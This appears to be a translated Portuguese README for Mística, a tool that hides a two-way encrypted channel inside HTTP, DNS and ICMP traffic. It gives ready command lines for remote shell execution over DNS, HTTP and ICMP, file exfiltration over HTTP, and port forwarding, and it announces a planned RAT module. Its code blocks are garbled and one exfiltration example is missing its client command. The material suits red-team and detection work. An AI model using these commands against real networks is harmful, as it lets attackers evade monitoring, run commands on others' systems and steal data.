Mística


Logotipo da Mística por JoelGMSec

Mística é uma ferramenta que permite incorporar dados em campos de protocolos da camada de aplicação, com o objetivo de estabelecer um canal bidirecional para comunicações arbitrárias. Atualmente, a encapsulação nos protocolos HTTP, HTTPS, DNS e ICMP foi implementada, mas espera-se que mais protocolos sejam introduzidos em breve.

Mística possui um design modular, construído em torno de um protocolo de transporte personalizado, chamado SOTP: Simple Overlay Transport Protocol. Os dados são criptografados, fragmentados e colocados em pacotes SOTP. Os pacotes SOTP são codificados e incorporados no campo desejado do protocolo de aplicação e enviados para a outra extremidade.

O objetivo da camada SOTP é oferecer um protocolo de transporte binário genérico, com sobrecarga mínima. Os pacotes SOTP podem ser facilmente ocultados ou incorporados em protocolos de aplicação legítimos. Além disso, o SOTP garante que os pacotes sejam recebidos pela outra extremidade, criptografa os dados usando RC4 (isso pode mudar no futuro) e garante que as informações possam fluir em ambos os sentidos de forma transparente, usando um mecanismo de polling.

Os módulos interagem com a camada SOTP para diferentes propósitos:

Módulos Wrap ou Wrappers: Esses módulos codificam/decodificam pacotes SOTP de/para protocolos da camada de aplicação
Módulos Overlay: Esses módulos se comunicam através do canal SOTP. Exemplos são: redirecionamento de E/S (como netcat), shell (execução de comandos), encaminhamento de portas…

Os módulos wrapper e overlay trabalham juntos para construir aplicações personalizadas, como redirecionamento de entrada sobre DNS ou encaminhamento de portas remoto sobre HTTP.

O design modular da Mística permite o fácil desenvolvimento de novos módulos. Além disso, o usuário pode facilmente bifurcar módulos existentes para usar algum campo ou codificação personalizada ou modificar o comportamento de um módulo overlay.

Existem duas principais peças de software:

Servidor Mística (ms.py): Usa módulos que atuam como servidor do protocolo da camada de aplicação desejado (HTTP, HTTPS, DNS, ICMP...). Também é projetado de forma a permitir que vários servidores, wrappers e overlays sejam executados ao mesmo tempo, com apenas uma instância do ms.py, embora esse recurso ainda não esteja totalmente implementado.
Cliente Mística (mc.py): Usa módulos que atuam como cliente do protocolo da camada de aplicação desejado (HTTP, HTTPS, DNS, ICMP...). Pode usar apenas um overlay e um wrapper ao mesmo tempo.

Demonstrações

Você pode ver algumas demonstrações da Mística na seguinte playlist

Dependências

O projeto tem muito poucas dependências. Atualmente:

O Cliente Mística precisa de pelo menos Python 3.7
O Servidor Mística precisa de pelo menos Python 3.7 e dnslib.``` python3.7 -m pip install pip --user pip3.7 install dnslib --user

Se não quiser instalar o python no seu sistema, você pode usar uma das seguintes versões portáteis:

- https://www.anaconda.com/distribution/#download-section (para Windows, Linux e macOS)
- https://github.com/winpython/winpython/releases/tag/2.1.20190928 (apenas para Windows)

## Módulos atuais

Módulos de sobreposição:

- `io`: Lê do stdin, envia através da conexão SOTP. Lê da conexão SOTP, imprime no stdout
- `shell`: Executa comandos recebidos através da conexão SOTP e retorna a saída. Compatível com o módulo io.
- `tcpconnect`: Conecta-se à porta TCP. Lê do socket, envia através da conexão SOTP. Lê da conexão SOTP, envia através do socket.
- `tcplisten`: Liga-se à porta TCP. Lê do socket, envia através da conexão SOTP. Lê da conexão SOTP, envia através do socket.

Módulos de encapsulamento:

- `dns`: Codifica/Decodifica dados em consultas/respostas DNS usando diferentes métodos
- `http`: Codifica/Decodifica dados em requisições/respostas HTTP ou HTTPS usando diferentes métodos
- `icmp`: Codifica/Decodifica dados em requisições/respostas de eco ICMP na seção de dados

## Uso

`ms.py`: Servidor Mística

Veja como a mensagem de ajuda se parece:```txt
usage: ms.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]
             [-o OVERLAY_ARGS] [-s WRAP_SERVER_ARGS]

Mistica server. Anything is a tunnel if you're brave enough. Run without
parameters to launch multi-handler mode.

optional arguments:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     RC4 key used to encrypt the comunications
  -l LIST, --list LIST  Lists modules or parameters. Options are: all,
                        overlays, wrappers, <overlay name>, <wrapper name>
  -m MODULES, --modules MODULES
                        Module pair in single-handler mode. format:
                        'overlay:wrapper'
  -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS
                        args for the selected overlay module (Single-handler
                        mode)
  -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS
                        args for the selected wrapper module (Single-handler
                        mode)
  -s WRAP_SERVER_ARGS, --wrap-server-args WRAP_SERVER_ARGS
                        args for the selected wrap server (Single-handler
                        mode)
  -v, --verbose         Level of verbosity in logger (no -v None, -v Low, -vv
                        Medium, -vvv High)

Existem dois modos principais no Mística Server:

Modo Single Handler: Quando o ms.py é iniciado com parâmetros, ele permite que um único módulo overlay interaja com um único módulo wrapper.
Modo Multi-handler: (Ainda não publicado) Quando o ms.py é executado sem parâmetros, o usuário entra em um console interativo, onde vários módulos overlay e wrapper podem ser iniciados. Esses módulos poderão interagir entre si, com poucas restrições.

mc.py: Cliente Mística

Aqui está como a mensagem de ajuda se parece:```txt usage: mc.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS] [-o OVERLAY_ARGS]

Mistica client.

optional arguments: -h, --help show this help message and exit -k KEY, --key KEY RC4 key used to encrypt the comunications -l LIST, --list LIST Lists modules or parameters. Options are: all, overlays, wrappers, , -m MODULES, --modules MODULES Module pair. Format: 'overlay:wrapper' -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS args for the selected overlay module -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS args for the selected wrapper module -v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High)

### Parâmetros

- `-l, --list` é usado para listar `all` módulos, listar apenas um tipo: (`overlays` ou `wrappers`) ou listar os parâmetros que um determinado módulo pode aceitar através de `-o`, `-w` ou `-s`.
- `-k, --key` é usado para especificar a chave que será usada para encriptar a comunicação do overlay. Esta deve ser a mesma no cliente e no servidor e é atualmente obrigatória. Isto pode mudar no futuro se forem implementados esquemas de partilha de segredos.
- `-m, --modules` é usado para especificar qual par de módulos você deseja usar. Deve usar o seguinte formato: **overlay_module** + **:** + **wrap_module**. Este parâmetro também é obrigatório.
- `-w, --wrapper-args` permite especificar uma configuração particular para o módulo wrap.
- `-o, --overlay-args` permite especificar uma configuração particular para o módulo overlay.
- `-s, --wrap-server-args` está presente apenas em `ms.py`. Permite especificar uma configuração particular para o servidor wrap. Cada módulo wrap tem uma dependência de um servidor wrap, e ambas as configurações podem ser ajustadas.

## Exemplos e Uso Avançado

> Lembre-se que pode ver todos os parâmetros aceites por um módulo escrevendo `-l <nome_do_módulo>` (ex: `./ms.py -l dns`). Lembre-se também de usar uma chave longa e complexa para proteger as suas comunicações!

### HTTP

Para ilustrar os diferentes métodos de encapsulamento HTTP, o módulo overlay de redirecionamento IO (`io`) será usado em cada exemplo.

- Método HTTP GET com codificação b64 no URI predefinido, usando localhost e porta 8080 (valores predefinidos).
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey"`
  - Cliente Mística:  `./mc.py -m io:http -k "rc4testkey"`
- Método HTTP GET com codificação b64 no URI predefinido, **especificando endereço IP e porta**.
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey" -s "--hostname x.x.x.x --port 10000"`
  - Cliente Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 10000"`
- Método HTTP GET com codificação b64 num **URI personalizado**, usando localhost e porta 8080 (valores predefinidos).
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey" -w "--uri /?token="`
  - Cliente Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- Método HTTP GET com codificação b64 num **cabeçalho personalizado**, usando localhost e porta 8080 (valores predefinidos).
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
  - Cliente Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- Método HTTP **POST** com codificação b64 no campo predefinido, usando localhost e porta 8080 (valores predefinidos).
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST"`
  - Cliente Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--method POST"`
- Método HTTP **POST** com codificação b64 num **cabeçalho personalizado**, usando localhost e porta 8080 (valores predefinidos).
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
  - Cliente Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- Método HTTP **POST** com codificação b64 num **campo personalizado**, usando localhost e porta 8080 (valores predefinidos).
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
  - Cliente Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- Método HTTP **POST** com codificação b64 num **campo personalizado, com tamanho de pacote personalizado, tentativas personalizadas, timeout personalizado e especificando IP e porta**:
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10" -s "--hostname 0.0.0.0 --port 8088 --timeout 30"`
  - Cliente Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10 --poll-delay 10 --response-timeout 30 --hostname x.x.x.x --port 8088"`
- Método HTTP **POST** com codificação b64 num **campo personalizado**, **usando um template de erro personalizado**, usando localhost e porta 8080 (valores predefinidos).
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data" -s "--error-file /tmp/custom_error_template.html --error-code 408"`
  - Cliente Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- Método HTTP GET com codificação b64 no URI predefinido, usando **código de resposta HTTP personalizado** e usando localhost e porta 8080 (valores predefinidos):
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey" -w "--success-code 302"`
  - Cliente Mística: `./mc.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- Método HTTPS GET com codificação b64 no URI predefinido usando a porta 443. Um certificado deve ser gerado no Servidor Mística para usar a opção ssl; o Cliente Mística apenas precisa receber a flag ssl:
  - Servidor Mística:
      - `openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes`
      - `sudo ./ms.py -m io:http -k "rc4testkey" -s "--port 443 --ssl --ssl-cert server.pem"`
  - Cliente Mística: `./mc.py -m io:http -k "rc4testkey" -w "--ssl --port 443"`
- Método HTTP GET com codificação b64 no URI predefinido, usando servidor proxy no Cliente Mística (pode ser usado em ambientes onde a comunicação HTTP deve necessariamente passar por um proxy corporativo, que não está especificado na configuração do computador). Teste o seguinte exemplo com Burpsuite:
  - Servidor Mística: `./ms.py -m io:http -k "rc4testkey" -s "--port 8000 --timeout 30"`
  - Cliente Mística:  `./mc.py -m io:http -k "rc4testkey" -w "--proxy 127.0.0.1:8080 --port 8000 --poll-delay 30 --response-timeout 30"`

### DNS

Para ilustrar os diferentes métodos de encapsulamento DNS, o módulo overlay de redirecionamento IO (`io`) será usado em cada exemplo.

- Consulta TXT, usando localhost e porta 5353 (valores predefinidos):
  - Servidor Mística: `./ms.py -m io:dns -k "rc4testkey"`
  - Cliente Mística:  `./mc.py -m io:dns -k "rc4testkey"`
- Consulta NS, usando localhost e porta 5353 (valores predefinidos):
  - Servidor Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries NS"`
  - Cliente Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--query NS"`
- Consulta CNAME, usando localhost e porta 5353 (valores predefinidos):
  - Servidor Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries CNAME"`
  - Cliente Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--query CNAME"`
- Consulta MX, usando localhost e porta 5353 (valores predefinidos):
  - Servidor Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries MX"`
  - Cliente Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--query MX"`
- Consulta SOA, usando localhost e porta 5353 (valores predefinidos):
  - Servidor Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries SOA"`
  - Cliente Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--query SOA"`
- Consulta TXT, usando localhost e porta 5353 (valores predefinidos) e **domínios personalizados**:
  - Servidor Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--domains mistica.dev sotp.es"`
  - Cliente Mística:  
      - `./mc.py -m io:dns -k "rc4testkey" -w "--domain sotp.es"`
      - `./mc.py -m io:dns -k "rc4testkey" -w "--domain mistica.dev"`
- Consulta TXT, especificando porta e hostname:
  - Servidor Mística: `./ms.py -m io:dns -k "rc4testkey" -s "--hostname 0.0.0.0 --port 1337"`
  - Cliente Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 1337"`
- Consulta TXT, usando múltiplos subdomínios:
  - Servidor Mística: `./ms.py -m io:dns -k "rc4testkey"`
  - Cliente Mística:  `./mc.py -m io:dns -k "rc4testkey" -w "--multiple --max-size 169"`

### ICMP

O kernel Linux, quando recebe um pacote de requisição echo ICMP, por padrão responde automaticamente com um pacote de resposta echo ICMP (sem nos dar qualquer opção de responder). É por isso que temos de desativar as respostas ICMP para podermos enviar as nossas próprias com dados diferentes dos enviados pelo cliente. Para tal, fazemos o seguinte:

Desativar as respostas ICMP automáticas do kernel (*requer root*) editando o ficheiro `/etc/sysctl.conf`:

- Adicione a seguinte linha ao seu /etc/sysctl.conf:```
net.ipv4.icmp_echo_ignore_all=1

Em seguida, execute: sysctl -p para aplicar as alterações.

Agora, para ilustrar os diferentes métodos de encapsulamento ICMP, o módulo de sobreposição de redirecionamento de E/S (io) será utilizado em todos os exemplos.

Seção de Dados ICMP, utilizando a interface eth0:
- Servidor Mística: ./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"
- Cliente Mística: ./mc.py -m io:icmp -k "rc4testkey" -w "--hostname x.x.x.x"

Shell e IO

Você pode obter execução remota de comandos usando mística sobre um canal personalizado, combinando os módulos io e shell. Exemplos:

Executando comandos no sistema cliente através de DNS usando consulta TXT.
- Servidor Mística: sudo ./ms.py -m io:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53"
- Cliente Mística: ./mc.py -m shell:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53"
Executando comandos no sistema servidor através de HTTP usando requisições GET:
- Servidor Mística: ./ms.py -m shell:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000"
- Cliente Mística: ./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000"
Executando comandos no sistema cliente através de ICMP:
- Servidor Mística: ./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"
- Cliente Mística: ./mc.py -m shell:icmp -k "rc4testkey" -w "--hostname x.x.x.x"
Exfiltração de arquivos via HTTP usando o módulo IO e operadores de redirecionamento:
- Servidor Mística: ./ms.py -m io:http -s "--hostname 0.0.0.0 --port 80" -k "rc4testkey" -vv > confidential.pdf
- Cliente Mística (importante executar a partir do cmd):

Encaminhamento de portas com tcpconnect e tcplisten

Encaminhamento remoto de portas (visto do servidor) via HTTP. O endereço 127.0.0.1:4444 no cliente será encaminhado para o endereço 127.0.0.1:5555 no servidor. Deve já haver algo escutando na porta 5555.
- Servidor Mística: ./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"
- Cliente Mística: ./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"
Encaminhamento local de portas (visto do servidor) via DNS. O endereço 127.0.0.1:4444 no servidor será encaminhado para o endereço 127.0.0.1:5555 no cliente. Deve já haver algo escutando na porta 5555.
- Servidor Mística: sudo ./ms.py -m tcplisten:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"
- Cliente Mística: ./mc.py -m tcpconnect:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"

Docker

Uma imagem Docker foi criada para uso local. Isso evita que tenhamos que instalar Python ou dnslib apenas se quisermos testar a ferramenta, também é muito interessante para debug ou similar, pois evitamos o ruído gerado por outras aplicações locais. Para construí-la, basta seguir estes passos:

Primeiro construa a imagem com:``` sudo docker build --tag mistica:latest .

* Em segundo lugar, crie a rede com:```
sudo docker network create misticanw

Terceiro, execute o servidor com:``` sudo docker run --network misticanw --sysctl net.ipv4.icmp_echo_ignore_all=1 -v $(pwd):/opt/Mistica -it mistica /bin/bash

* Em quarto lugar, execute o cliente com:```
sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash

Como compilar

Mística é uma ferramenta desenvolvida em Python, o que significa que, teoricamente, pode ser compilada.

Para compilar a ferramenta, usaremos o Pyinstaller, esta ferramenta nos permitirá gerar um binário (dependendo do sistema operacional em que estamos), isto significa que NÃO podemos fazer Cross-compiling como em outras linguagens como C, C++, Golang, Rust, etc. Estamos trabalhando em uma maneira de tornar isso possível, no entanto, deixamos com você o comando Pyinstaller que nos permitirá compilar Mística em qualquer sistema operacional:

Compilar o Cliente Mistica

Como o Cliente Mística não tem dependências, pode ser compilado diretamente com o Pyinstaller. Para compilá-lo, siga os seguintes passos:

Primeiro, instale o pyinstaller para Python3.7 ou superior:``` python3.7 -m pip install pyinstaller --user

* E agora, compile o Mística Client com o seguinte comando:```
pyinstaller --onefile \
  --hiddenimport overlay.client.io \
  --hiddenimport overlay.client.shell \
  --hiddenimport overlay.client.tcpconnect \
  --hiddenimport overlay.client.tcplisten \
  --hiddenimport wrapper.client.http \
  --hiddenimport wrapper.client.dns \
  --hiddenimport wrapper.client.icmp \
  --hiddenimport overlay.server.io \
  --hiddenimport overlay.server.shell \
  --hiddenimport overlay.server.tcpconnect \
  --hiddenimport overlay.server.tcplisten \
  --hiddenimport wrapper.server.wrap_module.http \
  --hiddenimport wrapper.server.wrap_module.dns \
  --hiddenimport wrapper.server.wrap_module.icmp \
  --hiddenimport wrapper.server.wrap_server.httpserver \
  --hiddenimport wrapper.server.wrap_server.dnsserver \
  --hiddenimport wrapper.server.wrap_server.icmpserver \
  mc.py

Compilar o Servidor Mística

Se você deseja compilar o Servidor Mística, precisa instalar, com o Pip, a biblioteca Dnslib globalmente (lembre-se de que é a única dependência do Mística, e apenas para o Servidor Mística). Para fazer isso, siga os seguintes passos:

Primeiro, instale Python3.7 ou superior no seu sistema Windows, Linux ou Mac.
Segundo, instale, com o Pip, a biblioteca Dnslib: pip install dnslib (sem a flag "--user", assim será instalada globalmente no sistema; caso contrário, o pyinstaller não conseguirá adicioná-la como import oculto. Este passo requer permissões de administrador)
Terceiro, instale, com o Pip, a biblioteca Pyinstaller: pip install pyinstaller.
E quarto, compile o Servidor Mística com o seguinte comando:``` pyinstaller --onefile
--hiddenimport overlay.client.io
--hiddenimport overlay.client.shell
--hiddenimport overlay.client.tcpconnect
--hiddenimport overlay.client.tcplisten
--hiddenimport wrapper.client.http
--hiddenimport wrapper.client.dns
--hiddenimport wrapper.client.icmp
--hiddenimport overlay.server.io
--hiddenimport overlay.server.shell
--hiddenimport overlay.server.tcpconnect
--hiddenimport overlay.server.tcplisten
--hiddenimport wrapper.server.wrap_module.http
--hiddenimport wrapper.server.wrap_module.dns
--hiddenimport wrapper.server.wrap_module.icmp
--hiddenimport wrapper.server.wrap_server.httpserver
--hiddenimport wrapper.server.wrap_server.dnsserver
--hiddenimport wrapper.server.wrap_server.icmpserver
--hiddenimport dnslib
ms.py

## Trabalhos futuros

- Método de compilação cruzada para poder compilar Mistica para diferentes sistemas operacionais sem ter que fazê-lo a partir do sistema operacional alvo.
- Geração transparente de chaves Diffie-Hellman para o protocolo SOTP
- Modo Multi-Handler: modo interativo para `ms.py`. Isso permitirá que o usuário combine mais de um overlay com mais de um wrapper e mais de um módulo wrap por servidor wrap.
- Documentação de desenvolvimento de módulos para desenvolvimento de módulos personalizados. Isso é desencorajado no momento, pois a especificação do módulo ainda está em desenvolvimento.
- Próximos módulos:
    - Wrapper SMB
    - Overlay de RAT e manipulador de RAT
    - Overlay de proxy SOCKS e encaminhamento dinâmico de portas
    - Overlay de transferência de arquivos
    - Wrapper RDP
- Modelos HTTP personalizados para encapsulamento mais complexo
- Documentação de especificação do protocolo SOTP para clientes ou servidores personalizados. Isso é desencorajado no momento, pois o protocolo ainda está em desenvolvimento.

## Autores e licença

Este projeto foi desenvolvido por Carlos Fernández Sánchez e Raúl Caro Teixidó. O código é distribuído sob a Licença Pública Geral GNU v3.

Este projeto utiliza código de terceiros de código aberto, particularmente:

- [Bitstring](https://github.com/scott-griffiths/bitstring) desenvolvido por Scott Griffiths.
- [Um RC4 seguro para binários](https://github.com/DavidBuchanan314/rc4) desenvolvido por David Buchanan.
- [Um cliente DNS sem dependências](https://github.com/vlasebian/simple-dns-client) desenvolvido por Vlad Vitan.
- [Um servidor e cliente ICMP sem dependências](https://github.com/rcaroncd/ICMPack/) desenvolvido por Raul Caro.

Mistica

Mais Populares